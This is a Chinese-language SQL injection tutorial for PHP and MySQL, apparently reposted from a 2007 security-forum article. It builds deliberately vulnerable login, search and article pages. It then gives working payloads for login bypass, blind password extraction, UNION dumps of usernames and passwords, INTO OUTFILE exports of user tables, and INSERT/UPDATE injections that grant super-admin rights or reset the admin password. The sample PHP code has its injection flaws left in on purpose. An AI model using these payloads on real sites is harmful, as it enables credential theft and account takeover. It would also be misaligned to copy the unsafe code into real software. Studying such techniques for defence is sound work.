• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • SQL Injection with MySQL (1)

    發表于:2007-05-25來源:作者:點擊數: 標簽:MySQLsqlWithInjection
    聲明 本文僅用于教學目的,如果因為本文造成的攻擊后果本人概不負責,本文所有代碼均為本人所寫,所有數據均經過 測試 。絕對真實。如果有什么遺漏或錯誤,歡迎來 安全 天使論壇(http://www.4ngel.net/forums)和我交流。 前言 2003年開始,喜歡腳本攻擊的

    聲明

      本文僅用于教學目的,如果因為本文造成的攻擊后果本人概不負責,本文所有代碼均為本人所寫,所有數據均經過測試。絕對真實。如果有什么遺漏或錯誤,歡迎來安全天使論壇(http://www.4ngel.net/forums)和我交流。

    前言

      2003年開始,喜歡腳本攻擊的人越來越多,而且研究ASP下注入的朋友也逐漸多了起來,我看過最早的關于SQL注入的文章是一篇99年國外的高手寫的,而現在國外的已經爐火純青了,國內才開始注意這個技術,由此看來,國內的這方面的技術相對于國外還是有一段很大差距,話說回來,大家對SQL注入攻擊也相當熟悉了,國內各大站點都有些堪稱經典的作品,不過作為一篇完整的文章,我覺得還是有必要再說說其定義和原理。如果哪位高手已經達到爐火純青的地步,不妨給本文挑點刺。權當指點小弟。

    聲明

      本文僅用于教學目的,如果因為本文造成的攻擊后果本人概不負責,本文所有代碼均為本人所寫,所有數據均經過測試。絕對真實。如果有什么遺漏或錯誤,歡迎來安全天使論壇(http://www.4ngel.net/forums)和我交流。

    前言

      2003年開始,喜歡腳本攻擊的人越來越多,而且研究ASP下注入的朋友也逐漸多了起來,我看過最早的關于SQL注入的文章是一篇99年國外的高手寫的,而現在國外的已經爐火純青了,國內才開始注意這個技術,由此看來,國內的這方面的技術相對于國外還是有一段很大差距,話說回來,大家對SQL注入攻擊也相當熟悉了,國內各大站點都有些堪稱經典的作品,不過作為一篇完整的文章,我覺得還是有必要再說說其定義和原理。如果哪位高手已經達到爐火純青的地步,不妨給本文挑點刺。權當指點小弟。

    關于php+Mysql的注入

      國內能看到php+Mysql注入的文章可能比較少,但是如果關注各種WEB程序的漏洞,就可以發現,其實這些漏洞的文章其實就是一個例子。不過由于國內研究PHP的人比研究ASP的人實在少太多,所以,可能沒有注意,況且PHP的安全性比ASP高很多,導致很多人不想跨越這個門檻。
      盡管如此,在PHP站點日益增多的今天,SQL注入仍是最有效最麻煩的一種攻擊方式,有效是因為至少70% 以上的站點存在SQL Injection漏洞,包括國內大部分安全站點,麻煩是因為MYSQL4以下的版本是不支持子語句的,而且當php.ini里的 magic_quotes_gpc 為On 時。提交的變量中所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的轉義字符。給注入帶來不少的阻礙。
      早期的時候,根據程序的代碼,要構造出沒有引號的語句形成有效的攻擊,還真的有點困難,好在現在的技術已經構造出不帶引號的語句應用在某些場合。只要有經驗,其實構造有效的語句一點也不難,甚至成功率也很高,但具體情況具體分析。首先要走出一個誤區。

    注:在沒有具體說明的情況下,我們假設magic_quotes_gpc均為off。

    php+Mysql注入的誤區

      很多人認為在PHP+MYSQL下注入一定要用到單引號,或者是沒有辦法像MSSQL那樣可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”這類的命令來消除引號,其實這個是大家對注入的一種誤解或這說是對注入認識上的一種誤區。
      為什么呢?因為不管在什么語言里,在引號(包括單雙)里,所有字符串均是常量,即使是dir這樣的命令,也緊緊是字符串而已,并不能當做命令執行,除非是這樣寫的代碼:

    clearcase/" target="_blank" >cccccc" border="0">
    $command = "dir c:\";
    system($command);

      否則僅僅只是字符串,當然,我們所說的命令不單指系統命令,我們這里說的是SQL語句,要讓我們構造的SQL語句正常執行,就不能讓我們的語句變成字符串,那么什么情況下會用單引號?什么時候不用呢?看看下面兩句SQL語句:

    ①SELECT * FROM article WHERE articleid='$id'
    ②SELECT * FROM article WHERE articleid=$id

      兩種寫法在各種程序中都很普遍,但安全性是不同的,第一句由于把變量$id放在一對單引號中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語句,也不會正常執行,而第二句不同,由于沒有把變量放進單引號中,那我們所提交的一切,只要包含空格,那空格后的變量都會作為SQL語句執行,我們針對兩個句子分別提交兩個成功注入的畸形語句,來看看不同之處。

    ① 指定變量$id為:
    1' and 1=2 union select * from user where userid=1/*
    此時整個SQL語句變為:
    SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

    ②指定變量$id為:
    1 and 1=2 union select * from user where userid=1
    此時整個SQL語句變為:
    SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

      看出來了嗎?由于第一句有單引號,我們必須先閉合前面的單引號,這樣才能使后面的語句作為SQL執行,并要注釋掉后面原SQL語句中的后面的單引號,這樣才可以成功注入,如果php.ini中magic_quotes_gpc設置為on或者變量前使用了addslashes()函數,我們的攻擊就會化為烏有,但第二句沒有用引號包含變量,那我們也不用考慮去閉合、注釋,直接提交就OK了。
      大家看到一些文章給出的語句中沒有包含單引號例如pinkeyes的《php注入實例》中給出的那句SQL語句,是沒有包含引號的,大家不要認為真的可以不用引號注入,仔細看看PHPBB的代碼,就可以發現,那個$forum_id所在的SQL語句是這樣寫的:

    $sql = "SELECT *
    FROM " . FORUMS_TABLE . "
    WHERE forum_id = $forum_id";

      由于沒有用單引號包含變量,才給pinkeyes這個家伙有機可乘,所以大家在寫PHP程序的時候,記得用單引號把變量包含起來。當然,必要的安全措施是必不可少的。

    簡單的例子

      先舉一個例子來給大家了解一下PHP下的注入的特殊性和原理。當然,這個例子也可以告訴大家如何學習構造有效的SQL語句。
      我們拿一個用戶驗證的例子,首先建立一個數據庫和一個數據表并插入一條記錄,如下:

    CREATE TABLE `user` (
    `userid` int(11) NOT NULL auto_increment,
    `username` varchar(20) NOT NULL default '',
    `password` varchar(20) NOT NULL default '',
    PRIMARY KEY (`userid`)
    ) TYPE=MyISAM AUTO_INCREMENT=3 ;

    #
    # 導出表中的數據 `user`
    #

    INSERT INTO `user` VALUES (1, 'angel', 'mypass');

      驗證用戶文件的代碼如下:

    <?php
    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

    $sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";

    $result = mysql_db_query($dbname, $sql);
    $userinfo = mysql_fetch_array($result);

    if (empty($userinfo))
    {
    echo "登陸失敗";
    } else {
    echo "登陸成功";
    }

    echo "<p>SQL Query:$sql<p>";
    ?>

      這時我們提交:

    http://127.0.0.1/injection/user.php?username=angel' or 1=1

      就會返回:

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
    登陸失敗

    SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''

    PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13

      看到了嗎?單引號閉合后,并沒有注釋掉后面的單引號,導致單引號沒有正確配對,所以由此可知我們構造的語句不能讓Mysql正確執行,要重新構造:

    http://127.0.0.1/injection/user.php?username=angel' or '1=1

      這時顯示“登陸成功”,說明成功了?;蛘咛峤唬?/p>

    http://127.0.0.1/injection/user.php?username=angel'/*
    http://127.0.0.1/injection/user.php?username=angel'%23

      這樣就把后面的語句給注釋掉了!說說這兩種提交的不同之處,我們提交的第一句是利用邏輯運算,在ASP中運用可以說是非常廣泛的,這個不用說了吧?第二、三句是根據mysql的特性,mysql支持/*和#兩種注釋格式,所以我們提交的時候是把后面的代碼注釋掉,值得注意的是由于編碼問題,在IE地址欄里提交#會變成空的,所以我們在地址欄提交的時候,應該提交%23,才會變成#,就成功注釋了,這個比邏輯運算簡單得多了,由此可以看出PHP比ASP強大靈活多了。
      通過上面的例子大家應該對PHP+MYSQL的注入有個感性的認識了吧?

    語句構造

      PHP+MYSQL注入的博大精深不僅僅體現在認證體系的饒過,語句的構造才是最有趣味的地方,但構造語句和ACCESS、MSSQL都有少許不同,但同樣可以發揮得淋漓盡致??聪旅娴睦?。

    一、搜索引擎

      網上有一大堆的PHP程序搜索引擎是有問題的,也就是提交特殊字符可以顯示所有記錄,包括不符合條件的,其實這個危害也不算大,因為允許用戶輸入關鍵字進行模糊查詢的地方大多數都允許檢索所有的記錄。很多查詢的設計就是這樣的。
      查詢是只讀的操作應該不會對數據產生破壞作用,不要太擔心。不過泄露隱私不知道算不算危害,下面是一個標準的搜索引擎:

    <form method="GET" action="search.php" name="search">
    <input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
    </form>
    <p><b>Search result</b></p>

    <?php
    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

    $keywords = $_GET['keywords'];
    if (!empty($keywords)) {
      //$keywords = addslashes($keywords);
      //$keywords = str_replace("_","\_",$keywords);
      //$keywords = str_replace("%","\%",$keywords);

      $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
      $result = mysql_db_query($dbname,$sql);
      $tatol=mysql_num_rows($result);

      echo "<p>SQL Query:$sql<p>";

      if ($tatol <=0){
        echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
      } else {
        while ($article=mysql_fetch_array($result)) {
          echo "<li>".htmlspecialchars($article[title])."<p>\n";
        } //while
      }
    } else {
      echo "<b>Please enter some keywords.</b><p>\n";
    }
    ?>

      一般程序都是這樣寫的,如果缺乏變量檢查,我們就可以改寫變量,達到“注入”的目的,盡管沒有危害,當我們輸入“___” 、“.__ ”、“%”等類似的關鍵字時,會把數據庫中的所有記錄都取出來。如果我們在表單提交:

    %' ORDER BY articleid/*
    %' ORDER BY articleid#
    __' ORDER BY articleid/*
    __' ORDER BY articleid#

      SQL語句就被改變成下面的樣子了,

    SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
    SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC

      就會列出所有記錄,包括被隱藏的,還可以改變排列順序。這個雖然危害不大,也算是注入的一種方式了吧?

    二、查詢字段

      查詢字段又可以分成兩種,本表查詢和跨表查詢,這兩種查詢和ACCESS、MSSQL差不多,甚至更強大、更靈活、更方便。不知道為什么就是有人認為比ASP難?我們在ASP中經常使用的個別函數在PHP里要有小小的改動,如下:

    ① 本表查詢

      看下面一條SQL語句,多用在論壇或者會員注冊系統查看用戶資料的,

    <?php
    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

    $sql = "SELECT * FROM user WHERE username='$username'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row) {
      echo "該記錄不存在";
      echo "<p>SQL Query:$sql<p>";
      exit;
    }

    echo "你要查詢的用戶ID是:$row[userid]\n";
    echo "<p>SQL Query:$sql<p>";
    ?>

      當我們提交的用戶名為真時,就會正常返回用戶的ID,如果為非法參數就會提示相應的錯誤,由于是查詢用戶資料,我們可以大膽猜測密碼就存在這個數據表里(現在我還沒有碰見過密碼是單獨存在另一個表的程序),記得剛才的身份驗證程序嗎?和現在的相比,就少了一個AND條件,如下:

    SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'

      相同的就是當條件為真時,就會給出正確的提示信息,如果我們構造出后面的AND條件部分,并使這部分為真,那我們的目的也就達到了,還是利用剛才建立的user數據庫,用戶名為angel,密碼為mypass,
    看了上面的例子,應該知道構造了吧,如果我們提交:

    http://127.0.0.1/injection/user.php?username=angel' and password='mypass

      這個是絕對為真的,因為我們這樣提交上面的SQL語句變成了下面的樣子:

    SELECT * FROM user WHERE username='angel' AND password='mypass'

      但在實際的攻擊中,我們是肯定不知道密碼的,假設我們知道數據庫的各個字段,下面我們就開始探測密碼了,首先獲取密碼長度:

    http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

      在ACCESS中,用LEN()函數來獲取字符串長度,在MYSQL中,要使用LENGTH(),只要沒有構造錯誤,也就是說SQL語句能正常執行,那返回結果無外乎兩種,不是返回用戶ID,就是返回“該記錄不存在”。當用戶名為angel并且密碼長度為6的時候返回真,就會返回相關記錄,是不是和ASP里一樣?再用LEFT()、RIGHT()、MID()函數猜密碼:

    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass

      看,密碼不是出來了嗎?簡單吧?當然實際情況會有不少條件限制,下面還會講到這個例子的深入應用。

    ② 跨表查詢

      這部分就和ASP有點出入了,除了一定要用UNION連接兩條SQL語句,最難掌握的就是字段的數量,如果看過MYSQL參考手冊,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望檢索的列[字段]) 部分列出的列必須具有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。簡單的說,也就是UNION后面查選的字段數量、字段類型都應該與前面的SELECT一樣,而且,如果前面的SELECT為真,就同時返回兩個SELECT的結果,當前面的SELECT為假,就會返回第二個SELECT所得的結果,某些情況會替換掉在第一個SELECT原來應該顯示的字段,如下圖:

      看了這個圖直觀多了吧?所以應該先知道前面查詢表的數據表的結構。如果我們查詢兩個數據表的字段相同,類型也相同,我們就可以這樣提交:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……

      如果字段數量、字段類型任意一個不相同,就只能搞清除數據類型和字段數量,這樣提交:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……

      否則就會報錯:

    The used SELECT statements have a different number of columns

      如果不知道數據類型和字段數量,可以用1來慢慢試,因為1屬于int\str\var類型,所以我們只要慢慢改變數量,一定可以猜到的。如果不能馬上理解上面的理論,后面有很詳細的例子。
      我們看看下面的數據結構,是一個簡單的文章數據表。

    CREATE TABLE `article` (
    `articleid` int(11) NOT NULL auto_increment,
    `title` varchar(100) NOT NULL default '',
    `content` text NOT NULL,
    PRIMARY KEY (`articleid`)
    ) TYPE=MyISAM AUTO_INCREMENT=3 ;

    #
    # 導出表中的數據 `article`
    #

    INSERT INTO `article` VALUES (1, '我是一個不愛讀書的孩子', '中國的教育制度真是他媽的落后!如果我當教育部長。我要把所有老師都解雇!');
    INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么東西啊');

      這個表的字段類型分別是int、varchar、text,如果我們用UNION聯合查詢的時候,后面的查詢的表的結構和這個一樣。就可以用“SELECT *”,如果有任何一個不一樣,那我們只能用“SELECT 1,1,1,1……”了。

      下面的文件是一個很標準、簡單的顯示文章的文件,很多站點都是這種頁面沒有過濾,所以成為最明顯的注入點,下面就拿這個文件作為例子,開始我們的注入實驗。

    <?php
    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

    $sql = "SELECT * FROM article WHERE articleid='$id'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row)
    {
      echo "該記錄不存在";
      echo "<p>SQL Query:$sql<p>";
      exit;
    }

    echo "title<br>".$row[title]."<p>\n";
    echo "content<br>".$row[content]."<p>\n";
    echo "<p>SQL Query:$sql<p>";
    ?>

    正常情況下,我們提交這樣的一個請求:

    http://127.0.0.1/injection/show.php?id=1

      就會顯示articleid為1的文章,但我們不需要文章,我們需要的是用戶的敏感信息,就要查詢user表,現在是查詢剛才我們建立的user表。
      由于$id沒有過濾給我們制造了這個機會,我們要把show.php文件中的SQL語句改寫成類似這個樣子:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……

      由于這個代碼是有單引號包含著變量的,我們現在提交:

    http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

      按道理說,應該顯示用戶表的username、password兩個字段的內容才對啊,怎么正常顯示文章呢?如圖:

      其實,我們提交的articleid=1是article表里存在的,執行結果就是真了,自然返回前面SELECT的結果,當我們提交空的值或者提交一個不存在的值,就會蹦出我們想要的東西:

    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
    http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*

      如圖:

      現在就在字段相對應的地方顯示出我們所要的內容。如果還不清楚思路以及具體的應用,后面還會講到一些高級的技巧。

    三、導出文件

      這個是比較容易構造但又有一定限制的技術,我們經??梢钥匆娨韵碌腟QL語句:

    select * from table into outfile 'c:/file.txt'
    select * from table into outfile '/var/www/file.txt'

      但這樣的語句,一般很少用在程序里,有誰會把自己的數據導出呢?除非是備份,但我也沒有見過這種備份法。所以我們要自己構造,但必須有下面的前提條件:

    • 必須導出到能訪問的目錄,這樣才能下載。
    • 能訪問的目錄必須要有可寫的權限,否則導出會失敗。
    • 確保硬盤有足夠的容量能容下導出的數據,這個很少見。
    • 確保要已經存在相同的文件名,會導致導出失敗,并提示:“File 'c:/file.txt' already exists”,這樣可以防止數據庫表和文件例如/etc/passwd被破壞。

      我們繼續用上面的user.php和show.php兩個文件舉例,如果一個一個用戶猜解實在是太慢了,如果對方的密碼或者其他敏感信息很復雜,又不會寫Exploit,要猜到什么時候???來點大范圍的,直接導出全部數據好了。user.php文件的查詢語句,我們按照into outfile的標準格式,注入成下面的語句就能導出我們需要的信息了:

    SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'

      知道怎么樣的語句可以實現我們的目的,我們就很容易構造出相應的語句:

    http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

      出現了錯誤提示,但從返回的語句看來,我們的SQL語句確實是注入正確了,即使出現錯誤,也是查詢的問題了,文件還是乖乖的被導出了,如圖:

      由于代碼本身就有WHERE來指定一個條件,所以我們導出的數據僅僅是滿足這個條件的數據,如果我們想導出全部呢?其實很簡單,只要使這個WHERE條件為假,并且指定一個成真的條件,就可以不用被束縛在WHERE里了,來看看經典1=1發揮作用了:

    http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

      實際的SQL語句變為:

    SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'

      這樣username的參數是空的,就是假了,1=1永遠是真的,那or前面的WHERE就不起作用了,但千萬別用and哦,否則是不能導出全部數據的。
      既然條件滿足,在這種情況下就直接導出所有數據!如圖:

      但是跨表的導出文件的語句該怎么構造呢?還是用到UNION聯合查詢,所以一切前提條件都應該和UNION、導出數據一樣,跨表導出數據正常情況下應該相下面的一樣:

    SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'

      這樣可以導出文件了,如果我們要構造就提交:

    http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt

      文件是出來了,可是有一個問題,由于前面的查詢articleid='1'為真了,所以導出的數據也有整個文章的一部分,如圖:

      所以我們把應該使前面的查詢語句為假,才能只導出后面查詢的內容,只要提交:

    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

      這樣才能得到我們想要的資料:

      值得注意的是想要導出文件,必須magic_quotes_gpc沒有打開,并且程序也沒有用到addslashes()函數,還有不能對單引號做任何過濾,因為我們在提交導出路徑的時候,一定要用引號包含起來,否則,系統不會認識那是一個路徑,也不用嘗試用char()或者什么函數,那是徒勞。

    INSERT

      如果大家認為MYSQL中注入僅僅適用于SELECT就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE語句,這類例子不多,先面先說說INSERT,這主要應用于改寫插入的數據,我們來看個簡單而又廣泛存在的例子,看看下面的數據結構:

    CREATE TABLE `user` (
    `userid` INT NOT NULL AUTO_INCREMENT ,
    `username` VARCHAR( 20 ) NOT NULL ,
    `password` VARCHAR( 50 ) NOT NULL ,
    `homepage` VARCHAR( 255 ) NOT NULL ,
    `userlevel` INT DEFAULT '1' NOT NULL ,
    PRIMARY KEY ( `userid` )
    );

      其中的userlevel代表用戶的等級,1是普通用戶,2是普通管理員,3是超級管理員,一個注冊程序默認是注冊成普通用戶,如下:

    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

      默認userlevel字段是插入1,其中的變量都是沒有經過過濾就直接寫入數據庫的,不知道大家有什么想法?對,就是直接注入,使我們一注冊就是超級管理員。我們注冊的時候,構造$homepage變量,就可以達到改寫的目的,指定$homepage變量為:

    http://4ngel.net', '3’)#

      插入數據庫的時候就變成:

    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

      這樣就注冊成為超級管理員了。但這種利用方法也有一定的局限性,比如,我沒有需要改寫的變量如userlevel字段是數據庫的第一個字段,前面沒有地方給我們注入,我們也沒有辦法了。
    或許INSERT還有更廣泛的應用,大家可以自行研究,但原理都是一樣的。

    UPDATE

      和INSERT相比,UPDATE的應用更加廣泛,如果過濾不夠,足以改寫任何數據,還是拿剛才的注冊程序來說,數據結構也不變,我們看一下用戶自己修改自己的資料,SQL語句一般都是這樣寫的:

    UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'

      用戶可以修改自己的密碼和主頁,大家有什么想法?總不至于還是提升權限吧?程序中的SQL語句又沒有更新userlevel字段,怎么提升???還是老辦法,構造$homepage變量, 指定$homepage變量為:

    http://4ngel.net', userlevel='3

      整個SQL語句就變成這樣:

    UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

      我們是不是又變成超級管理員了?程序不更新userlevel字段,我們自己來。
    還有更加絕的,直接修改任意用戶的資料,還是剛才的例句,但這次安全一點,使用MD5加密:

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

      盡管密碼被加密了,但我們還是可以構造我們需要的語句,我們指定$password為:

    mypass)' WHERE username='admin'#

      這時整個語句變為:

    UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

      這樣就更改了更新的條件,我管你后面的代碼是不是在哭這說:我們還沒有執行啊。當然,也可以從$id下手,指定$id為:

    ' OR username='admin'

      這時整個語句變為:

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

      照樣也可以達到修改的目的,所以說注入是非常靈活的技術。如果有些變量是從數據庫讀取的固定值,甚至用$_SESSION['username']來讀取服務器上的SESSION信息時,我們就可以在原來的WHERE之前自己構造WHERE并注釋掉后面的代碼,由此可見,靈活運用注釋也是注入的技巧之一。這些技巧把注入發揮得淋漓盡致。不得不說是一種藝術。
      變量的提交方式可以是GET或POST,提交的位置可以是地址欄、表單、隱藏表單變量或修改本地COOKIE信息等,提交的方式可以是本地提交,服務器上提交或者是工具提交,多種多樣就看你如何運用了。

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>